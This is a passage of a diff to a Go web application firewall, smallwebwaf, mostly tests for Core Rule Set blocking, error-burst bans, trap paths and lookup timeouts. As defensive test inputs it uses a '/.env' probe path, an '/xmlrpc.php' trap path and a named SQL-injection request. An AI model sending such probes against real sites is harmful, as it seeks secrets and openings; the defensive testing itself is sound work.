wantWAF(t, line, new(5), 942100)
// It is an offence as in enforce mode.
want := ratelimit.Offences{WAFBlocked: 1}
if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want)
}
}
func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
// status and action are what the request is answered and logged
// with, and alertMode what the alert's detail gives as mode, if
// anything.
status int
action, alertMode string
}{
{
"block", map[string]string{wafMode: block},
http.StatusForbidden, requestlog.ActionWAFBlocked, "",
},
{
"detect", map[string]string{wafMode: detect},
http.StatusOK, requestlog.ActionForward, detect,
},
{
"block in observe mode", map[string]string{wafMode: block, mode: observe},
http.StatusOK, requestlog.ActionForward, observe,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, clk, _, queue := startWithAlerts(t, tc.env)
// The second is a repeat, which the cooldown holds back, and an
// ordinary request raises none.
for range 2 {
s.request(client, sqlInjection, tc.status, tc.action)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
detail := map[string]any{
"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
"path": sqlInjection,
}
if tc.alertMode != "" {
detail["mode"] = tc.alertMode
}
wantAlerts(t, queue, alerts.Alert{
Instance: alertInstance,
Time: clk.Now(),
Event: alerts.EventWAFBlock,
Client: netip.MustParseAddr(client),
Netblock: netip.MustParsePrefix(client + "/32"),
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
if queue.Suppressed() != 1 {
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
}
})
}
}
+9 -3
View File
@@ -52,7 +52,7 @@ func TestCountryLists(t *testing.T) {
calls.Add(1) calls.Add(1)
}) })
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
env := map[string]string{trustedProxies: trustLocalhost} env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
maps.Copy(env, tc.env) maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -101,6 +101,7 @@ func TestCountryRefusalComesBeforeTheBody(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
lookupTimeout: "1h",
deniedCountries: "kp", deniedCountries: "kp",
}) })
@@ -147,6 +148,7 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{ addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
lookupTimeout: "1h",
allowedCountries: "de", allowedCountries: "de",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
}) })
@@ -194,7 +196,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
env := map[string]string{trustedProxies: trustLocalhost} env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
maps.Copy(env, tc.env) maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -280,7 +282,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP, // startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
// each in an AS of its own, and no other address. It returns its URL, and // each in an AS of its own, and no other address. It returns its URL, and
// what returns the addresses it has been asked about. // what returns the addresses it has been asked about. A test that needs
// the stand-in to be asked or to answer sets SWWAF_LOOKUP_TIMEOUT to an
// hour, whether or not a request waits for the answer: on the default
// second, a hold-up of the test process can abandon the request to the
// stand-in, and leave the client unknown.
func startGeoJS(t *testing.T) (string, func() []string) { func startGeoJS(t *testing.T) (string, func() []string) {
t.Helper() t.Helper()
+395
View File
@@ -0,0 +1,395 @@
package proxy_test
import (
"maps"
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
// refused is a request the tests here send, which smallwebwaf refuses
// after a rule file match, or for a missing or wrong token.
type refused int
const (
// blockRule is a request testRules' block rule refuses with 403.
blockRule refused = iota
// banRule is one its ban rule refuses with 403, and bans the client
// for.
banRule
// noMetricsToken is one for the metrics without a token, and
// wrongAdminToken one for the bans with the metrics token, each
// refused with 401.
noMetricsToken
wrongAdminToken
)
// send sends r from the client at from, checks its answer and log line as
// sender.request does, and returns the line.
func (r refused) send(s *sender, from string) logLine {
s.t.Helper()
switch r {
case blockRule:
return s.request(from, blockedPath, http.StatusForbidden,
requestlog.ActionRuleBlocked)
case banRule:
return s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned)
case noMetricsToken:
return s.request(from, proxy.MetricsPath, http.StatusUnauthorized,
requestlog.ActionAdmin)
case wrongAdminToken:
line, _ := s.requestWithHeader(from, proxy.BansPath, "Authorization: "+bearer,
http.StatusUnauthorized, requestlog.ActionAdmin)
return line
}
s.t.Fatalf("no request for the refusal %d", r)
return logLine{}
}
// startForErrorBurst is startWithClock with testRules, both tokens and
// SWWAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
func startForErrorBurst(
t *testing.T, threshold string, env map[string]string,
) (*sender, *clock, *proxy.Server) {
t.Helper()
settings := map[string]string{
errorBurstThreshold: threshold,
rulesDir: writeRules(t, testRules),
adminToken: adminSecret,
metricsToken: token,
}
maps.Copy(settings, env)
return startWithClock(t, "", settings)
}
func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
// refusals are four, one over the threshold of three.
refusals []refused
}{
{"block rule", []refused{blockRule, blockRule, blockRule, blockRule}},
{
"missing or wrong token",
[]refused{noMetricsToken, wrongAdminToken, noMetricsToken, wrongAdminToken},
},
{
"a mix ending in a ban rule",
[]refused{blockRule, noMetricsToken, blockRule, banRule},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, _, _ := startForErrorBurst(t, "3", nil)
// Three refusals break nothing, and the app's answers between
// them are not counted.
for i, r := range tc.refusals[:3] {
line := r.send(s, client)
if line.LimitHit != "" || line.Offence != "" {
t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
"want none", i+1, line.LimitHit, line.Offence)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
}
// The fourth is answered as the others were, breaks the error
// burst, and bans the client.
line := tc.refusals[3].send(s, client)
if line.LimitHit != requestlog.LimitHitErrorBurst ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want error_burst "+
"and limit", line.LimitHit, line.Offence)
}
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
})
}
}
func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, clk, server := startForErrorBurst(t, "2", nil)
start := clk.Now()
blockRule.send(s, client)
wrongAdminToken.send(s, client)
line := blockRule.send(s, client)
expires := start.Add(time.Hour)
if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
}
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: expires,
Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 2",
Notes: bans.Notes{
Kind: ratelimit.KindRefusals,
Limit: 2,
Window: minute,
Count: 3,
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: blockedPath,
Status: http.StatusForbidden,
UserAgent: userAgent,
},
Requests: 3,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
wantOffences := ratelimit.Offences{Limit: 1, RuleBlocked: 2, TokenRefused: 1}
if offences := historyOf(t, server, client).Offences; offences != wantOffences {
t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
}
metrics := s.scrape(scraper)
wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
`kind="refusals",window="minute"}`, 1)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 2)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="token_refused"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1)
}
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
errorBurstThreshold: "2",
rulesDir: writeRules(t, testRules),
countryLimitPercent: countryDEHalf,
})
// Half of the threshold would be one, which the second refusal is over.
for range 2 {
line := blockRule.send(s, fromDE)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
blockRule.send(s, fromDE)
got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
}
}
func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
t.Parallel()
statuses := map[string]int{
"/missing": http.StatusNotFound,
"/private": http.StatusUnauthorized,
"/forbidden": http.StatusForbidden,
}
s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(statuses[r.URL.Path])
}, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
for range 2 {
for path, status := range statuses {
s.request(client, path, status, requestlog.ActionForward)
}
}
// The first refusal is one, not over the threshold.
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
// No ban was made, nor its alert raised.
s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
wantAlerts(t, queue)
}
func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
threshold string
// broken is whether the 31st refusal breaks the error burst.
broken bool
}{
{"", true},
{off, false},
} {
t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
t.Parallel()
env := map[string]string{rulesDir: writeRules(t, testRules)}
if tc.threshold != "" {
env[errorBurstThreshold] = tc.threshold
}
s, _, _ := startWithClock(t, "", env)
var line logLine
for range 31 {
line = blockRule.send(s, client)
}
if broken := line.LimitHit == requestlog.LimitHitErrorBurst; broken != tc.broken {
t.Errorf("the 31st refusal broke the error burst: %t, want %t",
broken, tc.broken)
}
})
}
}
func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
t.Parallel()
const (
allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
exempt = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
)
s, _, _ := startForErrorBurst(t, "1", map[string]string{
allowNets: allowed, rateLimitExemptNets: exempt,
})
// A client in SWWAF_ALLOW_NETS still needs the token, but is not
// counted.
for range 3 {
line := noMetricsToken.send(s, allowed)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
// One the rate limits do not apply to is.
noMetricsToken.send(s, exempt)
line := wrongAdminToken.send(s, exempt)
if line.LimitHit != requestlog.LimitHitErrorBurst {
t.Errorf("log line has limit_hit %q, want error_burst", line.LimitHit)
}
s.get(exempt, http.StatusForbidden, requestlog.ActionBanned)
}
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
t.Parallel()
s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
blockRule.send(s, client)
blockRule.send(s, client)
// Within the same minute, once the ban has ended, the next refusal is
// the first again.
clk.advance(time.Second)
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
mode: observe,
errorBurstThreshold: "1",
rulesDir: writeRules(t, testRules),
adminToken: adminSecret,
})
start := clk.Now()
held := bans.Ban{
Netblock: netip.MustParsePrefix(otherClient + "/32"),
Start: start,
Expires: start.Add(time.Hour),
Cause: bans.CauseAdmin,
}
server.Ledger.Load([]bans.Ban{held})
// Under a ban, enforce mode would have refused these before the
// endpoint, so their tokens are not counted.
for range 2 {
line := wrongAdminToken.send(s, otherClient)
wantWouldAction(t, line, requestlog.ActionBanned)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
// The block rule's refusal, which enforce mode would have answered 403,
// is the second of the client's, and would have banned it.
wrongAdminToken.send(s, client)
line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionRuleBlocked)
if line.LimitHit != requestlog.LimitHitErrorBurst || line.BanExpires != "" {
t.Errorf("log line has limit_hit %q and ban_expires %q, want error_burst "+
"and none", line.LimitHit, line.BanExpires)
}
if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
t.Errorf("bans %+v, want only the one held", got)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 {
t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
}
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
notes.Request.Status != http.StatusForbidden {
t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
notes)
}
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 1", Notes: notes,
}, requestlog.FormatTime(start.Add(time.Hour)))
alert.Detail["mode"] = observe
wantAlerts(t, queue, alert)
}
+1
View File
@@ -18,6 +18,7 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{ s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "2", rateLimitPerMinute: "2",
deniedCountries: "kp", deniedCountries: "kp",
}) })
+1
View File
@@ -249,6 +249,7 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{ addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
lookupTimeout: "1h",
addLookupHeaders: "true", addLookupHeaders: "true",
}) })
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
+1
View File
@@ -39,6 +39,7 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
env := map[string]string{ env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
denyNets: denied, denyNets: denied,
deniedCountries: "kp", deniedCountries: "kp",
+56 -27
View File
@@ -21,6 +21,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
// How smallwebwaf keeps connections to the app open between requests. // How smallwebwaf keeps connections to the app open between requests.
@@ -75,9 +76,10 @@ type Params struct {
// Alerts receive the alert for each ban the proxy makes or makes // Alerts receive the alert for each ban the proxy makes or makes
// permanent, for each count over an anomaly threshold, for each request // permanent, for each count over an anomaly threshold, for each request
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or // whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
// AbuseIPDB lists, and for GeoJS failing, a fetch of a list failing, a // AbuseIPDB lists, for each request the Core Rule Set scores at or over
// query to a DNSBL zone or a check with AbuseIPDB failing, or the day's // SWWAF_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
// AbuseIPDB checks used up. // failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
// or the day's AbuseIPDB checks used up.
Alerts *alerts.Queue Alerts *alerts.Queue
} }
@@ -144,12 +146,13 @@ func New(params Params) *Server {
NamedNetblocks: params.Config.WatchNets, NamedNetblocks: params.Config.WatchNets,
Alerts: params.Alerts, Alerts: params.Alerts,
}), }),
lookupFile: params.LookupFile, lookupFile: params.LookupFile,
lists: lists, lists: lists,
dnsbl: dnsbl, dnsbl: dnsbl,
abuseIPDB: abuseIPDB, abuseIPDB: abuseIPDB,
rules: params.Rules, rules: params.Rules,
alerts: params.Alerts, coreRuleSet: newCoreRuleSet(params.Config),
alerts: params.Alerts,
} }
h.geojs = lookup.New(lookup.Params{ h.geojs = lookup.New(lookup.Params{
URL: params.GeoJSURL, URL: params.GeoJSURL,
@@ -228,26 +231,49 @@ func newReputation(
return lists, dnsbl, abuseIPDB return lists, dnsbl, abuseIPDB
} }
// newCoreRuleSet returns the Core Rule Set at SWWAF_WAF_PARANOIA_LEVEL,
// without the rules SWWAF_WAF_DISABLED_RULES switches off, reading bodies
// up to SWWAF_WAF_BODY_LIMIT, or nil while SWWAF_WAF_MODE is off.
func newCoreRuleSet(cfg *config.Config) *waf.CoreRuleSet {
if cfg.WAFMode == config.WAFModeOff {
return nil
}
coreRuleSet, err := waf.New(waf.Params{
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: cfg.WAFBodyLimit,
})
if err != nil {
// The Core Rule Set is built in, and the settings cannot break it:
// the paranoia level is from 1 to 4, the body limit at most 1G, and
// the id of no rule switches nothing off.
panic(err)
}
return coreRuleSet
}
// handler is the proxy. It holds what every request shares; what belongs // handler is the proxy. It holds what every request shares; what belongs
// to one request is in a request. // to one request is in a request.
type handler struct { type handler struct {
config *config.Config config *config.Config
requestLog io.Writer requestLog io.Writer
processLog *slog.Logger processLog *slog.Logger
errorLog *log.Logger errorLog *log.Logger
transport http.RoundTripper transport http.RoundTripper
now func() time.Time now func() time.Time
metrics *metrics.Metrics metrics *metrics.Metrics
limiter *ratelimit.Limiter limiter *ratelimit.Limiter
ledger *bans.Ledger ledger *bans.Ledger
geojs *lookup.GeoJS geojs *lookup.GeoJS
anomalies *anomaly.Counters anomalies *anomaly.Counters
lookupFile *lookup.File lookupFile *lookup.File
lists *reputation.Lists lists *reputation.Lists
dnsbl *reputation.DNSBL dnsbl *reputation.DNSBL
abuseIPDB *reputation.AbuseIPDB abuseIPDB *reputation.AbuseIPDB
rules *rules.Files rules *rules.Files
alerts *alerts.Queue coreRuleSet *waf.CoreRuleSet
alerts *alerts.Queue
} }
// newTransport returns what carries requests to the app. It never goes // newTransport returns what carries requests to the app. It never goes
@@ -282,9 +308,12 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return return
} }
// Once the request has ended, before its log line is written. // Once the request has ended, before its log line is written. The
// last deferred runs first: countRefusal before addToHistory, so that
// a broken error burst is in the client's history.
defer rq.addToHistory() defer rq.addToHistory()
defer rq.countAnomalies() defer rq.countAnomalies()
defer rq.countRefusal()
refused := rq.check(r.Context()) refused := rq.check(r.Context())
rq.checked = time.Now() rq.checked = time.Now()
+9 -2
View File
@@ -85,8 +85,12 @@ const (
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS" logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS"
attackBanDuration = "SWWAF_ATTACK_BAN_DURATION" attackBanDuration = "SWWAF_ATTACK_BAN_DURATION"
rulesDir = "SWWAF_RULES_DIR" rulesDir = "SWWAF_RULES_DIR"
wafMode = "SWWAF_WAF_MODE"
) )
// off is the value that switches a setting off.
const off = "off"
// output collects what smallwebwaf writes on stdout. // output collects what smallwebwaf writes on stdout.
type output struct { type output struct {
mu sync.Mutex mu sync.Mutex
@@ -271,7 +275,9 @@ func startProxyWithAlerts(
// is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE // is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE
// is off unless env sets it. While it is file, the lookup database // is off unless env sets it. While it is file, the lookup database
// SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB // SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. // at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. SWWAF_WAF_MODE is off
// unless env sets it, so that only the tests of the Core Rule Set have
// their requests inspected by it.
func newProxy( func newProxy(
t *testing.T, appURL, geojsURL string, now func() time.Time, t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string, env map[string]string,
@@ -280,9 +286,10 @@ func newProxy(
settings := map[string]string{ settings := map[string]string{
"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app", "SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app",
wafMode: off,
} }
if geojsURL == "" { if geojsURL == "" {
settings[lookupSource] = "off" settings[lookupSource] = off
} }
maps.Copy(settings, env) maps.Copy(settings, env)
+23 -6
View File
@@ -701,10 +701,14 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing
wantAbuseIPDBChecks(t, server, 1) wantAbuseIPDBChecks(t, server, 1)
} }
// probePath is the path the ban rule of testRules, probe, matches. // probePath is the path the ban rule of testRules, probe, matches, and
const probePath = "/.env" // blockedPath the one its block rule, blocked, matches.
const (
probePath = "/.env"
blockedPath = "/blocked"
)
func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) { func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -718,13 +722,25 @@ func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T)
want ratelimit.Offences want ratelimit.Offences
}{ }{
{ {
"a block rule", "/blocked", http.StatusForbidden, requestlog.ActionRuleBlocked, "a block rule", blockedPath, http.StatusForbidden, requestlog.ActionRuleBlocked,
ratelimit.Offences{RuleBlocked: 1}, ratelimit.Offences{RuleBlocked: 1},
}, },
{
"the Core Rule Set", sqlInjection, http.StatusForbidden,
requestlog.ActionWAFBlocked, ratelimit.Offences{WAFBlocked: 1},
},
{ {
"a ban rule", probePath, http.StatusForbidden, requestlog.ActionBanned, "a ban rule", probePath, http.StatusForbidden, requestlog.ActionBanned,
ratelimit.Offences{Attack: 1}, ratelimit.Offences{Attack: 1},
}, },
{
"a trap path", "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned,
ratelimit.Offences{Attack: 1},
},
{
"a missing token", proxy.MetricsPath, http.StatusUnauthorized,
requestlog.ActionAdmin, ratelimit.Offences{TokenRefused: 1},
},
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -732,6 +748,7 @@ func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T)
s, clk, server := startWithClock(t, "", map[string]string{ s, clk, server := startWithClock(t, "", map[string]string{
abuseIPDBKey: accountKey, reputationAction: actionLog, abuseIPDBKey: accountKey, reputationAction: actionLog,
rulesDir: writeRules(t, testRules), attackBanDuration: "1h", rulesDir: writeRules(t, testRules), attackBanDuration: "1h",
trapPaths: trapPathList, metricsToken: token, wafMode: block,
}) })
s.request(client, tc.path, tc.status, tc.action) s.request(client, tc.path, tc.status, tc.action)
@@ -741,8 +758,8 @@ func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T)
t.Errorf("history counts the offences %+v, want %+v", got, tc.want) t.Errorf("history counts the offences %+v, want %+v", got, tc.want)
} }
// Its next request, once a ban rule's ban has ended, has it // Its next request, once any ban for a clear sign of attack
// checked. // has ended, has it checked.
clk.advance(time.Hour) clk.advance(time.Hour)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
wantAbuseIPDBChecks(t, server, 1) wantAbuseIPDBChecks(t, server, 1)
+49 -27
View File
@@ -64,10 +64,11 @@ type request struct {
// limits and for the byte limits. // limits and for the byte limits.
counted bool counted bool
limitPercent, bytesPercent percentage limitPercent, bytesPercent percentage
// attack is true for a request that matched a ban rule, and // attack is true for a request that matched a ban rule or asked for a
// ruleBlocked for one a block rule refused, each an offence its // trap path, ruleBlocked for one a block rule refused, wafBlocked for
// client's history counts. // one the Core Rule Set refused, and tokenRefused for one refused for a
attack, ruleBlocked bool // missing or wrong token, each an offence its client's history counts.
attack, ruleBlocked, wafBlocked, tokenRefused bool
// blocklisted is true once a blocklist is found to list the client, // blocklisted is true once a blocklist is found to list the client,
// dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once // dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once
// AbuseIPDB's score of it is a hit. // AbuseIPDB's score of it is a hit.
@@ -187,22 +188,29 @@ func requestHeaders(r *http.Request, names []string) map[string]string {
} }
// check is the one place where a request can be refused once its client // check is the one place where a request can be refused once its client
// is known, before its body is read or anything reaches the app. It // is known, before anything reaches the app, and before its body is read,
// returns nil to let the request through. The checks of checkClient come // but for the part the Core Rule Set reads. It returns nil to let the
// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule, and // request through. The checks of checkClient come first, answered with
// SWWAF_BAN_RESPONSE, or 403 for a block rule or the Core Rule Set, and
// then the size limit, so that a request the rate limits count is counted // then the size limit, so that a request the rate limits count is counted
// even when it is refused for its size. In observe mode a request // even when it is refused for its size. In observe mode a request
// checkClient refuses goes on to the size limit like any other. ctx is // checkClient refuses goes on to the size limit like any other. A size or
// the request's own context. // time limit the Core Rule Set's reading of the body meets ends the
// request in either mode. ctx is the request's own context.
func (rq *request) check(ctx context.Context) *refusal { func (rq *request) check(ctx context.Context) *refusal {
action := rq.checkClient(ctx) action := rq.checkClient(ctx)
refused := rq.refused.Load()
if refused != nil {
return refused
}
switch { switch {
case action == "": case action == "":
case rq.h.config.Observe: case rq.h.config.Observe:
// The log line names what enforce mode would have done. // The log line names what enforce mode would have done.
rq.line.WouldAction = action rq.line.WouldAction = action
case action == requestlog.ActionRuleBlocked: case action == requestlog.ActionRuleBlocked || action == requestlog.ActionWAFBlocked:
return &refusal{status: http.StatusForbidden, action: action} return &refusal{status: http.StatusForbidden, action: action}
default: default:
return rq.banResponse(action) return rq.banResponse(action)
@@ -232,9 +240,9 @@ func (rq *request) check(ctx context.Context) *refusal {
// rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the // rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the
// request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that // request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that
// every other request is counted, each of them by the client's limit // every other request is counted, each of them by the client's limit
// percentages, and last the rule files. A request exempt from the rate // percentages, then SWWAF_TRAP_PATHS, then the rule files, and last the
// limits is exempt from the byte limits too. ctx is the request's own // Core Rule Set. A request exempt from the rate limits is exempt from the
// context. // byte limits too. ctx is the request's own context.
func (rq *request) checkClient(ctx context.Context) string { func (rq *request) checkClient(ctx context.Context) string {
cfg := rq.h.config cfg := rq.h.config
if isInside(rq.client, cfg.AllowNets) { if isInside(rq.client, cfg.AllowNets) {
@@ -281,15 +289,24 @@ func (rq *request) checkClient(ctx context.Context) string {
return requestlog.ActionRateLimited return requestlog.ActionRateLimited
} }
return rq.checkRules(now) if rq.trapPath(now) {
return requestlog.ActionBanned
}
action := rq.checkRules(now)
if action != "" {
return action
}
return rq.checkCoreRuleSet()
} }
// pathExempt reports whether the rate limits leave out a request for u // pathExempt reports whether a request for u is exempt under prefixes,
// because of SWWAF_RATE_LIMIT_EXEMPT_PATHS: whether its path as sent, the // SWWAF_RATE_LIMIT_EXEMPT_PATHS or SWWAF_WAF_EXEMPT_PATHS: whether its
// path the app receives, not percent-decoded, starts with one of // path as sent, the path the app receives, not percent-decoded, starts
// prefixes, so that /%61ssets/x is not under /assets/ for an app whose // with one of prefixes, so that /%61ssets/x is not under /assets/ for an
